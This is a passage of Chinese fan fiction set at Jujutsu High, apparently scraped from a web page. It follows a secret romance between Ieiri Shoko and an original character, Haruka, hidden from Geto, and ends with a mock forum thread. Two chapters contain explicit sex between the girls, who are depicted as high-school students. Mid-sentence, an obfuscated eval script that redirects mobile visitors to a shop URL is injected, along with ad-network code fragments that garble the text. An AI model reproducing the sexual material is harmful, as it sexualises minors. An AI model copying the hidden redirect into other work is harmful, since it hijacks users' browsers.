幸运的是,担忧的轮流生病并未发生。家入硝子低烧了大约两天就完全康复。 海月遥则表现得好像什么都没发生过,依旧如常出入医务室。 偶尔就像现在这样,趁家入硝子不在时,霸占唯一的转椅,脱了鞋,蜷缩在上面,面无表情地转圈,或者随便踢着什么柜子、床之类的借力,在小小的医务室内到处乱滑。 幸好开门时家入硝子眼疾手快地按住椅背,不然她就要被海月版炮弹袭击了。 “硝子今天抽烟了?”海月遥仰着头看向她,随口问道。 “没有,只是喷了你送的礼物。”家入硝子把她连人带椅推进医务室,妥善地关上门。“你不是说喜欢这个味道吗?” “1。”海月遥在椅子上半跪起身,伸出手抱住家入硝子,头就埋在她颈肩,“给我闻闻。” “我想,只是闻闻的话应该不包括其他业务?”家入硝子笑着按住她的手,但海月遥却侧头吻上了她的脖颈,细碎地轻咬着。感受到她压抑的战栗后,海月遥才心满意足地拉开距离,嘲笑道:“……因为硝子的反应很有趣。” “你每次都想占我便宜,恶趣味的家伙……”家入硝子捧起她的脸,温柔地亲吻着她的额头、鼻尖和脸上那两粒可爱的小痣,就像平日说话那样,动作慢而黏。 海月遥不明白她为什么不像之前那样亲嘴,只觉得硝子看她的眼神愈发复杂。她不喜欢这种莫名的距离感,于是又主动含住对方的唇瓣,缠绵地吻了上去。 她充分地、隐晦地占据着对方所有的视线与心神,将那些轻浮的、迷惘的杂念一一咀嚼、再吞噬殆尽。 甘美的苍白果实。 她们两个接吻时总是格外安静,所有的对话都在唇齿相融间溶解成甜蜜的汁液。身体也变得轻盈透明起来,仿佛两股交汇的水流般缠绵悱恻、难舍难分。 整个过程钝感又静谧,就连海月遥鼻梁上戴着的眼镜也不能成为她们之间的阻隔。 直到敲门声响起。 “有人来了……”家入硝子微微拉开距离,轻声念道。随着她嘴唇一张一合,那银丝就像是秋风中的蜘蛛网,颤颤巍巍,充满不安。 她自然知道来的是谁。 ——夏油杰。 高专内很多人进医务室时都不会敲门,但自从夏油杰以前直接开门撞见她睡着后,他便养成了先敲门再进入的习惯。 家入硝子却丝毫没有慌乱,从容地擦拭着两人唇瓣上残留的透明津液,仿佛这一切都是再自然不过的事情。等她随口回了句“进来吧”,开门声才响起。 当夏油杰开门时,看见的就是家入硝子捧着自己幼驯染的脸细细涂抹唇釉的画面。她的动作轻柔而专注,海月遥则乖乖地抿着嘴唇,任由她摆弄。 “抿一下。”家入硝子轻声嘱咐道。 “味道怪怪的。”海月遥有些不满。 两人就是一个小世界,将夏油杰隔绝在外。他感觉到一丝异样,却又说不清道不明。 “本来就不是给你吃的,不喜欢就擦掉。”家入硝子抽了张纸塞到海月遥手里,才转过身朝他走来。 “这次的任务有这么难吗?夏油你又挂了彩?”家入硝子调侃道,同时运转起反转术式开始为他治疗。 “稍微有点大意了。”夏油杰在说这句话时,余光却忍不住瞥向背对着他们坐在转椅上的海月遥。“你们……” 他的话还没说完,就被家入硝子往侧腰锤一拳的动作打断,那一拳正好击在他侧腰的伤口附近,疼得他倒吸一口凉气。 “如果是你刚才那样心不在焉的样子,受伤我倒是明白为什么了呢。”她说这话时还在笑,眼下的泪痣愈发晃出醉人的风情。“跟人说话时,还是看着对方会比较礼貌吧?” “抱歉。”夏油杰诚恳地道歉,之后就没有再多问什么,只是静静地等待着。 海月遥等他们这边忙完了,才蹬一下护理床,随着转椅滑过来。家入硝子淡定地侧身一步,避开这记海月版炮弹,结果,人椅合一的海月遥一头撞上站在家入硝子身后的夏油杰。 但夏油杰似乎对此并不介意,亲昵地将手搭在椅背上,目光在海月遥那浅淡的唇色和微微肿胀的唇瓣上轻轻掠过,眼底闪过一丝不易察觉的疑惑,但并未多言。 海月遥则先转头看向家入硝子,将手中的纸巾塞给她——上面整齐地排列着她的唇印,从深到浅,最终只留下一抹淡淡的绯色。 有点像等差数列。家入硝子看着手中的纸巾,对她投向疑惑的眼神。 “送硝子的礼物。”海月遥懒得扔垃圾。 家入硝子对这个所谓的“礼物”的价值表示充分怀疑:“我想这个应该没人会想要。” “真失礼。”海月遥面无表情地反驳,“这可是三无病弱美少女的唇印,放在外面是可以换钱的程度。” “哈哈,那只有变态才会要吧。”家入硝子轻笑一声。 “硝子不要,那我送给杰。”海月遥转向夏油杰,找到新的垃圾桶。 啊,差点忘了,这里有一个真的可能会对这个感兴趣的变态。家入硝子看向一直眯着眼笑、安静地听着她们对话的夏油杰。她决定将纸巾妥善地叠好,放进自己的口袋,然后朝夏油杰一笑:“哈,变态。” 海月遥有样学样,看向夏油杰:“变态。” 夏油杰:……? 他皮笑肉不笑地给海月遥一个爆栗,无视她“为什么只打我”的抱怨。 “既然已经治好,夏油你可以走了。”家入硝子摆出慢走不送的手势。 往日夏油杰都是治疗好了聊一会儿就会识趣地离开,可今天却没有丝毫要走开的意思。 紫色的眼瞳在上挑的狐狸眼中流转,他以半开玩笑的语气说道:“真过分呐,硝子,你看小遥能一直呆在这里,我才刚来没多久,你就要赶我走吗?”说完,他佯装不堪忍受地擦拭着不存在的眼泪。 “明明小遥也没有其他事情可做嘛~”他继续调侃道,目光却瞥向一旁的海月遥。 “我有。”海月遥神情严肃。 夏油杰立刻做出洗耳恭听的表情。 “我在陪硝子。”从她口中说出来,好像这是什么学术会议上的严谨报告,但所说的内容却让人有些摸不着头脑。“刚刚我们还在亲……”她的话还没说完,突然又止住了。 “Ki?”夏油杰不明所以地重复。 一旁的家入硝子只是静静地站在那里,没有出声阻止,也没有主动补充。 “秘密。”海月遥简短地回应,显然不打算深入这个话题,“不过,杰,你以后就不用再来医务室了。” “为什么呢?”他很有耐心,手搭在椅背,弯下身,两人视线恰好平齐。 她不打算揭露谜底:“到时候就知道了。” “那我只好惴惴不安地等待那一天的到来。”夏油杰拿腔作调地说道,又浅笑一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13758966|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“这跟你的秘密也有关系吗?” 反转术式,和硝子接吻……好像也有点关系,至少对象是同一个。海月遥点头承认。 家入硝子转身半坐在一旁的办公桌上,一言不发地抽出根烟点燃,深吸一口,青白色的烟雾缥缈,将她的眉眼氤氲得如水墨般朦胧。 本来还在跟夏油杰闲聊的海月遥注意力一下子转移了,谴责地看着她:“硝子,不是说好戒烟吗?” “多年的习惯嘛,总得慢慢来。”家入硝子意有所指地笑着,颇为自在地翘起腿,一手往后撑在桌上。 “你上次也是这么说的。”海月遥毫不留情地拆穿她。“上上次也是。” “是吗?那可太糟糕了。”家入硝子不以为意,“但是,遥,不用担心,总会成功的。” 她侧头一笑,缭绕的烟雾给她添了份模糊的滤镜,弯起的琥珀棕的眼眸总让人想起红遍漫山的枫叶,或者玻璃罐里盛满的蜜糖。 带着缥缈朦胧的美感。 “毕竟你会一直看着我,不是吗?” 海月遥先是不做声地盯着她片刻,才慢吞吞地以自己一如既往的风格回复:“1。” 得了想要的回答,家入硝子眉眼舒展,从办公室上轻巧地跳下来,这时才会让人想起她还是个活泼的jk,与刚才抽烟时的成熟理智样相差颇大。 “夏油聊够了?可以走了。”她再次下着逐客令,“这里可不是给你闲聊的地方。” “真凶啊。” “对人渣同期只有这种脸色。” “嗯?”夏油杰轻哼一声,却也没生气,叹着气垂肩,无奈地摊手,“那就没办法了,之后再聊吧,小遥。” “不过,我们以后也有的是时间。” 那可不一定。 直到夏油杰的身影消失在门外,家入硝子才收回视线,转向海月遥问道:“刚刚你为什么不直接告诉他我们在干嘛?” “是硝子不想让我说。”海月遥说。 她现在的表情和前几天下雨时那张潮红的脸完全不同,但家入硝子还是想起那句话: “想这么做的不是我,是硝子想要这样,我只是在满足硝子的愿望。” 哎呀,又被看穿了。 家入硝子不否认,笑着抽烟。 海月遥自认为相当体贴。 就算是她也明白,有那种一起睡了后,也不在共有的朋友圈子里公开的类型——为了在候选人们面前保持良好的形象,好为下一次‘海投’准备优秀的简历。 她也这么说了出来。 “不,那种纯是人渣。”家入硝子吐槽道,“你到底想的些什么啊?” 这也是聊天的话题吗? 海月遥矜持地点头:“拯救世界。” “同一种玩笑开多了就没有搞笑效果了。” 海月遥大惊失色。 家入硝子被她逗笑,朝她吐了口烟,呛得她咳嗽起来后,她却笑得更欢,烟雾中跳跃的泪痣晃得人像是醉了酒,愈发眩晕起来。 “说了要戒烟,再这样我也懒得管你了。”海月遥面无表情地威胁。 “知道啦知道啦。”家入硝子随口应和道,毫无留恋地将烟在便携烟灰盒上摁灭。 “看来为了能让你一直看着我,还是得更努力才行。” 努力到她能光明正大地说…… ——她们是恋人。 家入硝子笑着,心想。 32.硝线(十二) “遥,晚上要不要一起喝一杯?” 海月遥正在想办法霸占医务室那把唯一的转椅时,家入硝子冷不防地问道。 “1。”海月遥漫不经心地回复道,她的目光紧紧锁定在家入硝子身下的那把椅子上,幻想着坐在上面肆意滑动的感觉。 “哗——” 下一秒家入硝子脚尖一点,顺着滑过来。 眼前的转椅突然被一双长腿取代,海月遥的视线随之上升,看到的是家入硝子带着笑意的清丽脸庞。 “怎么了?”海月遥疑惑地问。 “你不好奇我为什么突然想和你一起喝酒吗?”家入硝子问道。 “0。” “你就没别的话想说?” “……你刚退烧,最好还是别喝酒?” 听到这话,家入硝子立刻给海月遥投去一个“你怎么好意思说出这种话”的眼神——毕竟,某人发烧时还在喝酒。 不过海月遥资历尚浅,看不透眼中的扇形图,只觉得家入硝子表情古怪,她顺着家入硝子的话问下去:“为什么?” “前几天我不是说了吗,等你退烧后,你想怎么喝,我都奉陪。”家入硝子提醒道。 海月遥努力回忆那天有些模糊的记忆,终于找到了这句话,于是她肯定地点了点头。 “是时候兑现承诺了。”家入硝子说道。 …… 海月遥总觉得家入硝子有些心不在焉。 她抬头看向自己的酒搭子,那人正一搭一搭地喝着酒,神情如常。 和自己不一样,家入硝子倒是比较讲究,会涂上显色的唇釉,衬得那形容姣好的唇像是质地透明柔软的果冻,樱色的唇瓣被酒液的浸润下,愈发剔透,透出一种别样的风情。 海月遥这时又希望家入硝子能为自己涂唇釉了。 注意到她的视线,家入硝子侧头朝她一笑,眼眸弯弯:“这么看着我,有什么事吗?” “硝子给我涂口红。”海月遥向来有话直说。 “嗯?”家入硝子一愣,倒也没有拒绝,只是站起身,走到她椅子旁,给她细细地上色。 从她的角度,自然也能看见那高领下隐约露出来的颈圈,半隐在阴影下,衬得那肌肤更加苍白透明。离得近了,自然也能嗅到她身上幽兰的香气。 家入硝子心情颇好地轻哼一声,手下的动作也更加轻柔。 海月遥心情也不错。 涂口红的时候,硝子只会专注地看向自己一人。这时她总觉得两人的距离更近。 在家入硝子开始用指腹晕染唇釉时,海月遥敏锐地感受到了她的动作比以往慢下许多。 硝子又走神了。 海月遥心想,直接开口问道:“硝子不是有话想跟我说吗?” 家入硝子指尖微微一顿,按在她的唇瓣上,“很明显?”她反问,声音中带着一丝笑意。 “硝子刚刚看了我很多次。”海月遥解释,“刚刚还走神了。” “你不也一样?刚刚还一直看着我呢。”家入硝子按在海月遥唇瓣上的指尖滑动,“说不定我和你想得一样?毕竟,遥,你不是说我和你是一类人吗?” 可海月遥现在不觉得她们是一类人了。 她眨眨眼,含住家入硝子染着红色的玉白指尖,尖利的虎牙划过指腹,舔舐走残余的绯红。那唇釉的味道怪怪的,带着蜜柚的甜味。 “……你在干什么?” 满足了好奇心的海月遥坦诚地回答家入硝子的问题:“我想睡硝子。” 家入硝子却并未抽回手,“真是直接啊。”她轻笑一声,似乎并不反感海月遥的直白,“遥都不会害羞吗?” 澄净的薄蓝色眼眸看向家入硝子,海月遥坦荡极了:“硝子明明就很喜欢。” “那你呢?”家入硝子没有反驳,手指探入她的口中,按捏着柔软的唇瓣和舌头。 “我不会做自己不喜欢的事。”海月遥不适地皱眉,狠狠咬了她一口,身子微微后仰,抬眼看向家入硝子,“硝子想的什么?” “嗯……现在和你想的是一件事了。” 家入硝子笑着。 虽然平日里总是一副平淡冷静的样子,其实她笑时却不收敛,眼眸一弯,露齿一笑,原本恍若白玉、带着几分厌世的脸庞瞬间染上了几分生气,愈发明艳生动起来,连眼下的小痣都显得别有风情。 忽如一夜春风来。 就算之后收敛了笑,那弯起的唇角依然漾着淡淡的笑意,澄澈的琥珀棕眼瞳像是被清晨的露水浸透过一般,洗刷得晶亮。 她就这样一眨不眨地看着海月遥,仿佛想要说什么,又仿佛在期待着什么。 “硝子?” “没什么哦~” 家入硝子敷衍地应和道,随意拿着纸巾擦拭去指尖上透明的津液。说完这句话后,她坐了回去,不慌不忙地倒上酒,浅啜一口,仿佛刚刚的一切只是她的玩笑话。 骗人。海月遥心想。 这就是她说家入硝子和她不一样的地方。 家入硝子在意的东西比她多得多。因此,即便平日显得成熟坦诚,有时却也会选择沉默,仿佛这样才能维持该有的体面。 说到底,想要什么,直接说出来就好了。为什么要藏着掩着?刚刚的回答,明显就是在回避问题。 硝子这个时候根本不想和她睡。她想要的是另一件东西。 但海月遥猜不出来。 不过这个过分的家伙毫不在意家入硝子的想法,径直走过去,跨坐在家入硝子的腿上。 “?” “硝子不是说随便我怎么喝吗?” “或许这不包括我被当人肉椅子?”家入硝子坐直身,两人的距离瞬间拉近,呼吸交错。 “你也可以坐我腿上。”海月遥完全不在意,“硝子很轻。” “真厉害。”家入硝子不冷不热地调侃一声,却又在海月遥准备亲过来的时候低下头,伸手把玩着她长长的侧发,给她编发。 她很喜欢海月遥的水母头。那长长的侧发在她手中流转,如同一条黑色的河流,又似一匹名贵的绸缎,触感冰冷而顺滑。 海月遥面无表情地看着家入硝子。 “这么看着我做什么?” “为什么不让我亲?” “……并没有哦。”家入硝子绑好辫子后抬起头,浅笑,“遥不是说过,你不会做你不喜欢的事情吗?” “1。” 话音刚落,家入硝子便吻了上去。 她含吮着饱满柔软的下唇瓣,像是咀嚼着最鲜艳的玫瑰花瓣,等汁液在唇齿间漫开时,才愈发深入,探入更深的花园。 兴许是刚刚喝了酒,海月遥总觉得这次的吻带着酒精的灼热,但隐约间,又有清新甜美的蜜柚香。 “遥说,不会做自己不喜欢的事情……”家入硝子在海月遥的唇畔细碎地、颤抖地低语,“……但最先接吻的,是你哦。” 是她在那个寒凉的秋夜轻率地吻了上来。 “虽然第一次是出自我的愿望,但这一次,想要这样的,也是你……” “遥,喜欢做这样的事?” 海月遥眨眨眼,看向神情晦暗不明的家入硝子,便伸手解开自己的黄铜纽扣。 “喜欢。”她回答道,原本宽松的校服外套也从她的肩膀滑落,露出里面的针织衣。“我喜欢和硝子做这样的事。” 家入硝子弯起眼,“那就没办法了。”她的手从下往上一滑,便把衣服尽数勾了上去。 “是你想这样做,我自然会满足你的愿望。”她引用了前几天海月遥的话,嘴角挂着微笑。“谁让我喜欢你呢?” “硝子。”海月遥轻声呼唤。 “嗯?” “这是硝子第一次说喜欢我。” 海月遥感觉原本胸腔下跳动的炽热 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 情欲,像是被这句话烫到一般,融化成黏稠的蜜,就淌在她的血管里,让手脚都开始发烫,让舌尖都泛起甜味。 “那还真是抱歉。” 家入硝子笑着说,托起那团柔软,稍微向上抬起,吻上那粒隐藏起的小痣。当她清晰地捕捉到海月遥发出的极细微呻吟声时,又忍不住笑道:“不过以后会有更多次的。” “我也喜欢硝子……”海月遥的声音随着家入硝子的动作颤抖着,“跟对杰的喜欢不一样。” 这句话……这家伙在一年前也说过。 家入硝子指尖一顿,忽而笑了起来。 什么啊,原来是这样。 你这家伙,真像个笨蛋。 她想。 …… 正当二人沉溺于此时,桌上的手机突然不安分地振动起来。家入硝子匆匆一瞥,喘着气说道:“遥,来电话了……” 海月遥已近乎极限,反应略显迟钝。她先是含糊地应了一声,显然是没听进去。而感觉到家入硝子停下动作后,她又自力更生地磨蹭起来。 “你的手机在响……” 被反复提醒后,海月遥更显不耐烦,直接将手机置于两人紧贴之处。 “不接。”她不满地嘟囔着,声音因手机振动而颤抖。“这时候来什么电话?”说着,她更用力将手机往下压。 侧边挤压着振动着,她终于支撑不住,眼前白光一闪,不自觉地往后仰去,腰身弓起流畅的弧度,最终气喘吁吁地抵在桌子上。她的黑发因汗水而显得有些凌乱,湿哒哒地贴在脸上。 家入硝子眼中也泛起迷离之色,却在瞥见来电显示的联系人时一愣。 什么啊,是夏油。 她深吸口气,努力让自己恢复清明,抽出那部被透明液体沾湿的手机,在海月遥的脸侧轻拍一下。这一下让海月遥的黑发更紧密地黏在那玉白的脸颊上。 她歪着头靠在手机屏幕上,眼神恍惚,显然还没有完全从刚才的情欲中回过神来。她茫然地看着家入硝子,似乎还没明白她的意思。 “夏油的电话……”她简洁明了。“你还是接一下吧。” “杰……?”海月遥跟着重复道。 “接吧。”家入硝子也往后仰,靠在椅背上,努力平复着自己急促的呼吸,只是那双眼睛却仍然紧紧盯着海月遥脸上的每一个表情变化。她补充道:“记得开免提。” 海月遥不冷不热地瞥了眼家入硝子,倒也没有拒绝,只是接通了锲而不舍的电话,耳边随即传来夏油杰那熟悉而带着笑意的声音。 “这次居然接了,真是难得。”夏油杰调侃道。毕竟海月遥不看消息不接电话都是常事,她对每个人都这样。 海月遥才不管别人的指控,只是问道:“杰,有什么事吗……”她的声音因为之前而显得有些沙哑黏稠,却更添几分媚惑。 夏油杰似乎察觉到了她声音的异样,语气顿时变得关切起来,“……你的声音怎么了?是不是哪里不舒服?” “嗯?”海月遥愣了愣。 夏油杰似乎并不放心,又连续问了好几个问题,“真的没有复烧吗?有没有哪里不舒服?头会痛吗?” “杰,我没事。”海月遥平静地打断他一连串的问题,倒没有丝毫的不耐烦,“不用担心。” 听到她的回答,夏油杰终于松了口气,“没事就好。”注意到自己问了一大串,他又不好意思地轻咳一声,“我打电话来是想问……” 然而海月遥此刻的心却早已不在电话上,她心不在焉地听着夏油杰的话,偶尔“嗯”几声应和。她的眼神不自觉地飘向家入硝子,而家入硝子也静静地注视着她,两人的目光在空中交汇,又各自移开。 直到夏油杰问出“你和硝子最近……”,他的话还没说完,似乎察觉到什么,就率先止住话头,语气不明地问道: “你现在和谁在一起?” 山雨欲来。 33.硝线(十三) 夏油杰敏锐的听力捕捉到了对面刻意压抑的细微呻吟,眉头逐渐紧皱。他大拇指不自觉地点着眉心,试图让自己冷静下来。 嗒、嗒、嗒…… 疑点在他脑中逐渐汇集:这个时间点,不止一个人的声音,还有那些奇怪的喘息。 夏油杰唇线紧绷。 仿佛是在故意吊着他,海月遥那边迟迟没有回应,只有那断断续续的喘息和轻哼声。 声音很轻,却在他耳边无限放大,丝丝绕绕地缠住他的心脏,再死死拉紧,渗出鲜血。 时间在这一刻变得格外漫长,每一秒都是煎熬。夏油杰面色完全沉了下来,猛然站起,稳步走向宿舍门。他紧攥门把,手背青筋暴起,指节因用力而泛白。 他语气异常平静,问道: “你在哪里?” 电话那头依旧沉默,夏油杰耐着性子,再次开口:“回答我。” “……” 就在他几乎要失去耐心的时候,电话那头终于传来回应。然而,出乎意料的,那是家入硝子的声音。 “夏油问你话呢。” 她懒洋洋地解释道:“这家伙又发呆了。她现在在我宿舍,有事?” 夏油杰一怔。 硝子? 怎么会是硝子? 怎么可能是硝子? 他怒火稍减,但更加疑惑了。 “你们在做什么?” 夏油杰站停在门口,缓声问道,但仍带着一丝不易察觉的紧绷。 “哈哈。”家入硝子轻笑一声,“什么事情都得和你报备吗,夏油?” 她说着,目光落在对面的海月遥身上。 这家伙刚刚到达极限后,反应有点迟钝,刚刚还在回答夏油杰的问题,应着应着就开始走神,低着头,垂下眼睫,也不知道看着什么,不说话,就是在发呆。 过了会儿,这电波女就伸出手指探向两人相合处,漫不经心地摩挲着,搅动着。 “嗯?”家入硝子努力压抑下自己的声音,硬生生咽下去,空着的那只手握住海月遥的手腕,眼睫一抬,斜了她一眼。 “我听到了奇怪的声音。” 夏油杰语气冰冷且笃定,每个字都如裹霜般沉重落地。 “所以,硝子……” 他面无表情,片刻不移地盯着被自己捏得变形的门把手,问道: “这个时候了,你们到底在做什么?” 家入硝子却十分轻松:“夏油,你好奇怪。” 她松开握着海月遥的手,轻抚上对方潮红的脸颊,温柔地将粘在脸上的湿黑发丝拨向耳后,连她自己的手指也沾染上黏液。 “我应该没有义务对你言听计从。”她笑着,“一开口就用命令的语气……你是在对谁说话?” 电话那头先是沉默。 “……抱歉。” 夏油杰用着一如既往的温和语调,但还是不容置疑地问道,“我只是很好奇,你们到底在做什么?只有你们两个在吗?” “咬得太紧可是会被女孩子讨厌的。” “只有一次也无妨。” “夏油,你是不是管得有点多了?” “不,我只是有点好奇罢了,也恳请硝子满足一下我这个可怜人的好奇心吧。” 真是死缠烂打的家伙。她心想。 “嗯……我们在……” 家入硝子顿了顿,似乎是在考虑如何回答这个问题。 而海月遥则是见家入硝子不愿继续,便收回手,仔细打量那根手指。 她的手指细长、骨节分明,指甲也修剪得圆润整齐,宛如一件精致的骨瓷艺术品。因此,即便此时沾染上来历不明的黏稠液体,也并未显得分毫污秽,反而让人联想到百合纯白花瓣上那晶莹剔透的晨露。 紧接着,家入硝子眼睁睁地看着海月遥伸出湿红的舌尖,一点点舔舐那些残余的液体。 “我们在一起喝酒。”她终于开口回答。“就我们两个人。” “只是喝酒?” “当然。” 家入硝子也学着海月遥刚才那样沾了点在手指,不过她显然没有“品尝”的想法,只是指尖点在对方的唇珠上。 她看见海月遥微微俯身,含住自己的指尖,那原本别在耳后的长发滑落,拉出一片长夜的剪影。在那隐约的光线中,她可以看见海月遥冷淡而精致的眉眼。 “我们只是在喝酒。” 家入硝子心情颇好地弯弯眼,她倾身向前,轻吻海月遥的额头。 “硝子?”海月遥似乎对她的突然靠近感到有些不解,抬起头,茫然地看向她。 家入硝子轻笑一声,没有过多解释,只是把手机塞到海月遥手里,“既然回神了,那就自己接电话。”她拍了拍海月遥的大腿,示意她让出位置,“让一下,我要去另一边抽根烟。” “明明说要戒烟的也是硝子……结果一直抽……”海月遥面无表情地指控。 尽管如此,她还是乖乖地从家入硝子腿上起身,换到另一把椅子上坐下,光裸的长腿交叠翘起,下一刻就被家入硝子找到毯子扔了上去,防止这家伙又着凉。 “抱歉啦——”家入硝子随口道歉,声音也懒散地拖长,显得毫无诚意。她弯下腰,一一捡起两人扔在地上的衣服。 当她回头时,海月遥早已和夏油杰聊起来了。这个家伙似乎并未察觉,或是不介意夏油杰异样的语气,态度十分自然。 “硝子宿舍。”“1。”“杰想来就来。”“晚上去女生宿舍不好?”“我不介意,你决定。” 亏她还能说出把夏油邀过来的话啊。家入硝子瞥了眼那把连椅垫都浸透的椅子,又看看自己手里的衣服。 算了,这或许也是遥的一个优点吧……真诚得有些大胆了。 因为开着免提,家入硝子还能听见对面夏油杰明显温和下来的声音:“小遥,刚刚你怎么不说话,还有,怎么会有奇怪的声音呢?” “什么奇怪的声音?”海月遥反问。 电话那头的夏油杰稍作停顿,似乎在寻找合适的措辞:“……就是,我听到了类似喘气的声音,还有很轻的哼声。你那边是不是出了什么事?”显然,他不想对幼驯染说得太直白。 海月遥思索,然后自己哼唧起来。 这个熊孩子。 家入硝子不轻不重地给了海月遥一手刀,从她手中接过手机,决定自己和夏油杰谈。 夏油杰在电话另一端听得清清楚楚,耳根微微发烫,原本的质问语气又收敛了几分。 “夏油,有话就直说。”家入 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 硝子半坐在桌上,随口说道,“你从刚才开始就怪怪的。” “只是听到些奇怪的声音,有点好奇。”电话那头传来夏油杰依旧温和的声音。 “你这人真是麻烦——”家入硝子拖着长音抱怨道,“难道要我给你拍张照片,你才能放心?夏油妈妈?” “那样就再好不过了,谢谢硝子。” 真是麻烦。 家入硝子打量一眼现在的场景,至少桌面上的部分是正常的,就随手用手机拍下了满是空酒瓶的桌子,以及刚刚无聊抽烟、结果把自己抽到趴在桌上的海月遥。 “小遥还抽烟?”夏油杰问道。 “看来就算是从小认识的朋友,也有你不知道的呢。”家入硝子说。 “……” “不过,我现在倒是能猜到你刚刚想问什么了……如果你真的不放心的话,那就直接过来查岗怎么样,夏油?” 夏油杰又沉默片刻,然后笑着说道:“是我想多了,抱歉。” 而后两人又是闲扯几句,算是揭过这个话题。直到挂断电话,家入硝子才看向已经摁灭烟头,调着酒的海月遥。 “你胆子真大。”她调侃道,“打电话的时候还做那种事。” 海月遥淡淡地瞥了她一眼,语气平静地反驳道:“我觉得没必要遮掩。” 她有些不解,既然家入硝子上次反驳了自己的人渣论,那又为什么每次见到杰时都要遮遮掩掩。 啊,她明白了,是小说里的秘密情人。 海月遥恍然大悟。 哇,时髦。 不过,这是硝子的愿望,而且海月遥也不在意这些,所以就随她吧。 家入硝子:…… 每次被发现时,要么是她们刚结束,要么就是在进行中……即使她心再大,也不可能直接向夏油挑明这些吧?她的性格还没恶劣到那种地步。而且就按夏油的执着程度,她都不知道他会有什么反应。 家入硝子思索着。 …… 夏油杰的目光紧紧锁定在早已挂断的电话界面上,表情阴沉得仿佛能滴出水来,细长的眉毛紧紧蹙起。 奇怪。 还是觉得很奇怪。 就像是有什么重要的东西在不经意间从他指尖溜走,却又留下难以忽视的痕迹。 他一定忽略了什么。 他点开家入硝子刚刚发来的照片,手指在屏幕上轻轻滑动,放大每一个细节。 空瓶散落,几瓶酒已经开封,两个酒杯静静地摆在桌上,海月遥披着毯子趴在桌上,手中的香烟还在缓缓燃烧…… 慢着。 夏油杰进一步放大。 酒杯里残余的酒渍…… 这个程度……她们刚刚根本没在喝酒,至少有一段时间没有碰过这些酒杯。而且,硝子客厅的桌子并不靠墙,什么情况下需要她让小遥让开才能出去? 而且再仔细看,小遥应该是出了汗,连发丝都黏在脸颊,从毯子的缝隙间,也能看到有些凌乱的衣领。 夏油杰垂下眼帘,浓密的睫毛轻颤,投下淡淡的阴翳,掩下他晦暗不清的眼眸。 为什么要撒谎? 为什么要瞒着他? 她们到底在做什么? 夏油杰踏出自己的房间。 34.硝线(十四) “哟,杰。” 刚一出门就遇上从售货机大肆采购回来的五条悟,他身边漂浮着很多罐可乐,数量相当可观。 夏油杰转头看向他,眉头微皱,表情中带着些许阴沉。五条悟一眼就注意到了被捏得变形的门把手,他好奇地凑近看了看,嘴里发出“啧啧啧”的声音。 “怎么了?这表情看起来像是准备去找人算账啊。”五条悟调侃道,顺手打开一罐可乐,汽水声“嗤”地响起。 话里带着几分幸灾乐祸。 “悟。” “嗯哼?” “你不觉得最近小遥和硝子之间很不对劲吗?”他终于开口,声音中带着一丝不确定。 “哪儿不对劲?她们不是一直这样吗?”五条悟不以为意地撇撇嘴,他又想到什么,笑了起来:“杰,你什么时候这么敏感了?两个女孩子间的事儿,你也要掺和?该不会是嫉妒硝子了吧。” “……她们确实走得太近了。” “哇,不至于吧。”五条悟夸张地捂嘴惊叹,“平时瞪瞪我,顺便瞪瞪七海海和灰原就算了,现在连硝子你也要管?” “不,我不是那方面的意思。”夏油杰皱紧眉,一手握拳抵在嘴边,他一边思考着,一边自言自语,“不会吧……” “哈?什么意思?”五条悟完全不明白夏油杰到底在说什么,也懒得多管,左右不过吃飞醋罢了。五条悟绕开他准备回宿舍,可当他正准备开门进去时,夏油杰背对着他问道: “你觉得……小遥会不会和硝子……”他的话说到一半突然顿住,似乎有些难以启齿。“不,没什么。” 五条悟:? 他讨厌把话说一半的人!!! …… 主题:【青梅竹马和别人走得太近】 楼主(荞麦面果然还是得有蛋黄):如题。我有个青梅竹马的朋友,暂且称她为A吧。我们从小一起长大。她上高中后又交了一位女性朋友,称为S。那位女性也是我的朋友,她是很好的人,所以,一开始我挺为A开心的。 可最近她们之间的关系似乎有些……太亲密了。有时候我会看见S给她涂自己的口红,涂完还摸A的嘴唇。两个人经常还大半夜凑在一起喝酒。而且,A最近去找S的次数越来越频繁,每次我想去找A,总会被S以各种理由轰走。 抱歉,我知道有时候女生之间会做出一些亲密的举动……但我还是觉得很奇怪。真的只是单纯的友谊吗?还是说我多心了? 1L:女同,鉴定完毕,散了吧 2L:楼主,你之前是不是问过怎么控制对青梅竹马和别人走太近的嫉妒心?哈哈哈哈哈哈终于被对方撬墙角成功了吗哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈唅哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈 3L:楼上你吵到我眼睛了,而且你还混了个唅 逃不出老孙的火眼金睛.JPG 楼主回复1L:……能问一下为什么会这么觉得吗? 5L:破案了,楼主绝对是喜欢小A 6L:青梅竹马得长得好看、关系好、对另一方有意思才行,普通友情叫幼驯染,不好看的或者关系一般的,就叫村口那男的/女的 7L:上网也是被我看见败犬了 汤姆猫嘲笑.JPG 8L:证据都摆楼主眼前了还不想相信呢。女~性~朋~友~~ loopy撇嘴歪头.JPG 9L:放弃吧,青梅竹马不敌天降 10L:姐妹就是姐妹呀,姐妹是不可以变成妻子的,变成妻子了你就再也不能坦率地拍拍姐妹的肩膀再和她一起仗剑走天涯了。如果变成妻子了你们就只能在夜晚一起缩在被子里再钻进欲望与爱的温床了。所以姐妹只能是妻子……哦不、我是说,所以妻子只能是姐妹。抱歉……我是说、姐妹…… 